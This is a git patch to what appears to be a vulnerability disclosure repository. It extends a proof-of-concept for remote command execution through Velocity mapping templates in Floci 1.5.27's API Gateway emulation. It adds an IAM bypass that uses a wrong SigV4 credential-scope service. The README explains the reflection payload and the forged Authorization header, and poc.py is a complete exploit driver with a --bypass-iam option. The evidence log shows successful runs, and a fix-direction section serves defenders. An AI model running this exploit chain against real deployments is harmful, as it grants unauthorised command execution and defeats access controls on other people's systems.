From a14ed1ec9962420e5184e22fd1be88621248db41 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Tue, 23 Jun 2026 23:31:21 -0500 Subject: [PATCH] Add Floci IAM scope bypass chain --- floci-apigateway-vtl-rce-poc/README.md | 97 ++++++++++++++++--- .../2026-06-23-local-verification.txt | 30 +++++- floci-apigateway-vtl-rce-poc/poc.py | 52 +++++++--- 3 files changed, 150 insertions(+), 29 deletions(-) diff --git a/floci-apigateway-vtl-rce-poc/README.md b/floci-apigateway-vtl-rce-poc/README.md index 7f2d45d..e956095 100644 --- a/floci-apigateway-vtl-rce-poc/README.md +++ b/floci-apigateway-vtl-rce-poc/README.md @@ -1,19 +1,22 @@ -# Floci 1.5.27 API Gateway VTL RCE PoC +# Floci 1.5.27 API Gateway VTL RCE + IAM Scope Bypass PoC -This directory documents and validates an API Gateway Velocity Template Language RCE in Floci `1.5.27`. +This directory documents and validates an API Gateway Velocity Template Language RCE in Floci `1.5.27`, plus an IAM enforcement bypass that can be chained into the same RCE path. Floci evaluates user-controlled API Gateway mapping templates with Apache Velocity. The exposed template objects allow reflection from `$util` into `java.lang.ProcessBuilder`. An attacker who can create or update an API Gateway integration response can store a malicious response template, invoke the API, and execute an operating-system command in the Floci JVM process. +The new chain weakens the main precondition. With IAM enforcement enabled, Floci derives the IAM action from the service name inside the SigV4 credential scope. If an API Gateway control-plane request is sent with a non-API-Gateway scope such as `iam`, Floci cannot map the request to an API Gateway action and defaults to allow. A denied or low-privilege key can therefore still create, configure, deploy, and invoke the malicious API Gateway template in affected configurations. + Research status: verified locally end to end through Floci's HTTP API and a standalone PoC. ## Affected Target - Product: Floci - Version analyzed: `1.5.27` -- Commit analyzed: `238294e779d0cd24835ba04d7bb16b1e1fd15f76` -- Service surface: API Gateway REST API integration response templates +- Latest commit rechecked: `7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0` +- Service surface: API Gateway REST API integration response templates and IAM enforcement - Impact: command execution in the Floci server process - Default exposure note: IAM policy enforcement is disabled by default +- Chained exposure note: IAM enforcement can be bypassed with a wrong SigV4 credential-scope service on API Gateway control-plane routes ## Impact @@ -21,15 +24,19 @@ When a Floci instance exposes its AWS-compatible API endpoint to an attacker, th In the validated local run, the payload executed `cmd.exe /c echo FLOCI_STANDALONE_POC>...` and created a marker file from the Floci process. On Linux targets the same primitive can run `sh -c ''`. +The IAM bypass was validated with enforcement enabled. A real IAM user with a policy denying `apigateway:POST` received `403` when using a correct `apigateway` credential scope, then succeeded with the same key when the credential scope was changed to `iam`. + Severity is critical for exposed Floci deployments where untrusted users can reach the API Gateway control plane. It is high to critical for shared developer or CI environments because the command runs with the Floci process privileges and can access local credentials, mounted project files, Docker credentials, service data, and adjacent emulator state available to that process. ## Preconditions - The attacker can reach Floci's HTTP endpoint. - API Gateway service support is enabled. -- The attacker can call API Gateway REST control-plane endpoints such as `/restapis`. -- IAM enforcement is disabled or does not block the attacker's API Gateway control-plane calls. - The target host has an executable command path matching the supplied `--argv`. +- One of the following is true: + - IAM enforcement is disabled, which is the default. + - IAM enforcement is enabled, but the attacker can supply a parseable SigV4 Authorization header accepted by the Floci HTTP stack. + - IAM enforcement is enabled, but the attacker has any usable low-privilege or denied key and sends API Gateway control-plane requests with a wrong service scope such as `iam`. Floci's default application config enables API Gateway and disables IAM policy enforcement: @@ -46,6 +53,8 @@ services: ## Root Cause +### VTL RCE + The API Gateway integration response API stores attacker-controlled `responseTemplates` without sandboxing them as untrusted code: ```text @@ -77,6 +86,33 @@ $util.getClass().forName('java.lang.ProcessBuilder') From there, the template can construct a `ProcessBuilder`, start a process, and wait for completion. +### IAM Wrong-Scope Bypass + +IAM enforcement extracts the service name from the SigV4 credential scope: + +```text +Credential=////aws4_request +``` + +That extracted `` value is passed into action resolution. API Gateway actions are only mapped when the credential-scope service is `apigateway`. If the same API Gateway request is sent with `iam`, action resolution returns `null`. + +The enforcement filter treats `null` action mappings as allowed: + +```text +action = actionRegistry.resolve(credentialScope, ctx) +if action == null: + allow +``` + +This means a request like the following can bypass API Gateway IAM authorization checks: + +```text +Authorization: AWS4-HMAC-SHA256 Credential=/20260623/us-east-1/iam/aws4_request, SignedHeaders=host, Signature=test +POST /restapis +``` + +The same pattern applies to the subsequent API Gateway control-plane calls needed to place and deploy the malicious response template. + ## Exploit Flow The PoC performs the following HTTP sequence: @@ -94,6 +130,8 @@ The PoC performs the following HTTP sequence: The malicious response template is stored at step 7 and executed at step 10. +When `--bypass-iam` is used, steps 1 through 9 carry a SigV4-shaped `Authorization` header whose credential scope uses `iam` instead of `apigateway`. + ## Payload The PoC uses a `ProcessBuilder(List)` path so command arguments are preserved: @@ -111,25 +149,38 @@ The PoC uses a `ProcessBuilder(List)` path so command arguments are pres ## Files -- `poc.py` - stdlib-only Python exploit driver with target host and port supplied by CLI. +- `poc.py` - stdlib-only Python exploit driver with optional IAM bypass Authorization support. - `evidence/2026-06-23-local-verification.txt` - local verification transcript. ## Usage -Linux target marker: +Default unauthenticated/default-config path: ```bash python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce' cat /tmp/floci_vtl_rce ``` -Windows target marker: +IAM wrong-scope bypass path with a known access key: + +```bash +python3 poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv sh -c 'id > /tmp/floci_vtl_rce' +cat /tmp/floci_vtl_rce +``` + +Equivalent Windows target marker: ```powershell -python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "whoami > C:/Temp/floci_vtl_rce.txt" +python poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv cmd.exe /c "whoami > C:/Temp/floci_vtl_rce.txt" Get-Content C:\Temp\floci_vtl_rce.txt ``` +Use a raw Authorization header instead of generated header fields: + +```bash +python3 poc.py --host 127.0.0.1 --port 4566 --authorization 'AWS4-HMAC-SHA256 Credential=AKIAEXAMPLE/20260623/us-east-1/iam/aws4_request, SignedHeaders=host, Signature=test' --argv sh -c 'id > /tmp/floci_vtl_rce' +``` + Leave the created REST API in place for inspection: ```bash @@ -147,7 +198,7 @@ Expected success output shape: ## Local Verification -The finding was verified in two ways. +The original RCE was verified in two ways. First, a Quarkus/JUnit end-to-end test drove Floci's HTTP API in-process and asserted marker creation: @@ -175,6 +226,20 @@ Result: C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC ``` +The IAM bypass chain was verified against latest upstream commit `7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0` with IAM enforcement enabled: + +```powershell +.\mvnw.cmd -Dtest=ApiGatewayIamBypassRegressionTest test +``` + +Result: + +```text +Tests run: 1, Failures: 0, Errors: 0, Skipped: 0 +Correct apigateway scope: HTTP 403 for denied apigateway:POST +Wrong iam scope: created API, stored response template, deployed stage, executed template +``` + ## Fix Direction Do not evaluate API Gateway mapping templates with unrestricted Java reflection. A defensive patch should: @@ -182,8 +247,14 @@ Do not evaluate API Gateway mapping templates with unrestricted Java reflection. - configure Velocity with a secure uberspector and deny reflection/classloader/process access; - expose only API Gateway-compatible helper methods, not arbitrary Java object graphs; - add regression tests that prove `$util.getClass()`, `Class.forName`, `ProcessBuilder`, `Runtime`, and classloader access are unavailable from templates; -- treat API Gateway templates as untrusted data-plane code and isolate evaluation from the Floci JVM where practical; -- require authorization for API Gateway control-plane mutation endpoints when Floci is bound beyond localhost. +- treat API Gateway templates as untrusted data-plane code and isolate evaluation from the Floci JVM where practical. + +For the IAM bypass, authorization must not trust the caller-controlled credential-scope service as the sole source of truth for the requested service. A defensive patch should: + +- resolve the service/action from the matched route or resource handler, not only from `Credential=...//aws4_request`; +- fail closed when an authenticated request has no action mapping; +- fail closed for unknown access keys when enforcement is enabled; +- reject or separately handle requests whose credential-scope service disagrees with the matched API route. ## Responsible Use diff --git a/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt b/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt index 4f26b1e..307f259 100644 --- a/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt +++ b/floci-apigateway-vtl-rce-poc/evidence/2026-06-23-local-verification.txt @@ -1,18 +1,19 @@ Target: Floci 1.5.27 - Commit 238294e779d0cd24835ba04d7bb16b1e1fd15f76 + Original RCE commit analyzed: 238294e779d0cd24835ba04d7bb16b1e1fd15f76 + Latest upstream commit rechecked for IAM bypass chain: 7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0 -JUnit E2E command: +Original JUnit RCE command: .\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test -JUnit E2E result: +Original JUnit RCE result: Tests run: 1, Failures: 0, Errors: 0, Skipped: 0 target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE -Standalone PoC command: +Original standalone PoC command: python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt" -Standalone PoC result: +Original standalone PoC result: [+] REST API id: d1e873f2f8 [+] Resource id: cfd975b9 [+] Trigger response: {"ok":true,"exit":"0"} @@ -21,3 +22,22 @@ Standalone PoC result: POC_EXIT=0 MARKER_EXISTS=True C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC + +IAM bypass regression command: + .\mvnw.cmd -Dtest=ApiGatewayIamBypassRegressionTest test + +IAM bypass regression result: + Tests run: 1, Failures: 0, Errors: 0, Skipped: 0 + Correct apigateway credential scope was denied: + HTTP 403 + IAM enforcement DENY: action=apigateway:POST + Wrong iam credential scope was allowed with the same access key: + Created REST API + Created API Gateway resource + Stored responseTemplates entry + Created deployment and stage + Executed /execute-api/{apiId}/prod/probe + Observed template-controlled HTTP 207 response + +Standalone wrong-scope bypass command shape: + python poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv cmd.exe /c "echo FLOCI_BYPASS_CHAIN>C:/Temp/floci_bypass_chain.txt" diff --git a/floci-apigateway-vtl-rce-poc/poc.py b/floci-apigateway-vtl-rce-poc/poc.py index e1075f0..a0ada63 100644 --- a/floci-apigateway-vtl-rce-poc/poc.py +++ b/floci-apigateway-vtl-rce-poc/poc.py @@ -6,12 +6,14 @@ import urllib.error import urllib.request -def request_json(method, base_url, path, body=None): +def request_json(method, base_url, path, body=None, authorization=None): data = None headers = {"Accept": "application/json"} if body is not None: data = json.dumps(body).encode() headers["Content-Type"] = "application/json" + if authorization is not None: + headers["Authorization"] = authorization req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=15) as resp: @@ -54,25 +56,44 @@ def payload(argv): ) -def exploit(base_url, argv, cleanup): +def sigv4_authorization(access_key, date, region, scope, signature): + return ( + f"AWS4-HMAC-SHA256 Credential={access_key}/{date}/{region}/{scope}/aws4_request, " + f"SignedHeaders=host, Signature={signature}" + ) + + +def control_plane_authorization(args): + if args.authorization: + return args.authorization + if args.bypass_iam and not args.auth_access_key: + raise ValueError("--bypass-iam requires --auth-access-key or --authorization") + if not args.auth_access_key: + return None + scope = "iam" if args.bypass_iam else args.auth_scope + return sigv4_authorization(args.auth_access_key, args.auth_date, args.auth_region, scope, args.auth_signature) + + +def exploit(base_url, argv, cleanup, authorization): stamp = str(int(time.time())) template = payload(argv) - api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}), 201, "create REST API") + api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}, authorization), 201, "create REST API") api_id = api["id"] print(f"[+] REST API id: {api_id}") - resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources"), 200, "list resources") + resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources", authorization=authorization), 200, "list resources") root_id = resources["item"][0]["id"] - resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}), 201, "create resource") + resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}, authorization), 201, "create resource") resource_id = resource["id"] print(f"[+] Resource id: {resource_id}") - require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}), 201, "create method") - require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}), 201, "create method response") + require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}, authorization), 201, "create method") + require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}, authorization), 201, "create method response") require( request_json( "PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration", {"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}}, + authorization, ), 201, "create integration", @@ -83,19 +104,20 @@ def exploit(base_url, argv, cleanup): base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200", {"selectionPattern": "", "responseTemplates": {"application/json": template}}, + authorization, ), 201, "create integration response", ) - deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}), 201, "create deployment") + deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}, authorization), 201, "create deployment") deployment_id = deployment["id"] - require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}), 201, "create stage") + require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}, authorization), 201, "create stage") status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce") if status != 200: raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}") print(f"[+] Trigger response: {raw.strip()}") if cleanup: - deleted = request_json("DELETE", base_url, f"/restapis/{api_id}") + deleted = request_json("DELETE", base_url, f"/restapis/{api_id}", authorization=authorization) print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}") return parsed @@ -107,9 +129,17 @@ def main(): parser.add_argument("--scheme", default="http", choices=("http", "https")) parser.add_argument("--argv", nargs="+", required=True) parser.add_argument("--no-cleanup", action="store_true") + parser.add_argument("--authorization") + parser.add_argument("--auth-access-key") + parser.add_argument("--auth-date", default="20260623") + parser.add_argument("--auth-region", default="us-east-1") + parser.add_argument("--auth-scope", default="apigateway") + parser.add_argument("--auth-signature", default="test") + parser.add_argument("--bypass-iam", action="store_true") args = parser.parse_args() try: - exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup) + authorization = control_plane_authorization(args) + exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup, authorization) return 0 except Exception as exc: print(f"[-] {exc}", file=sys.stderr)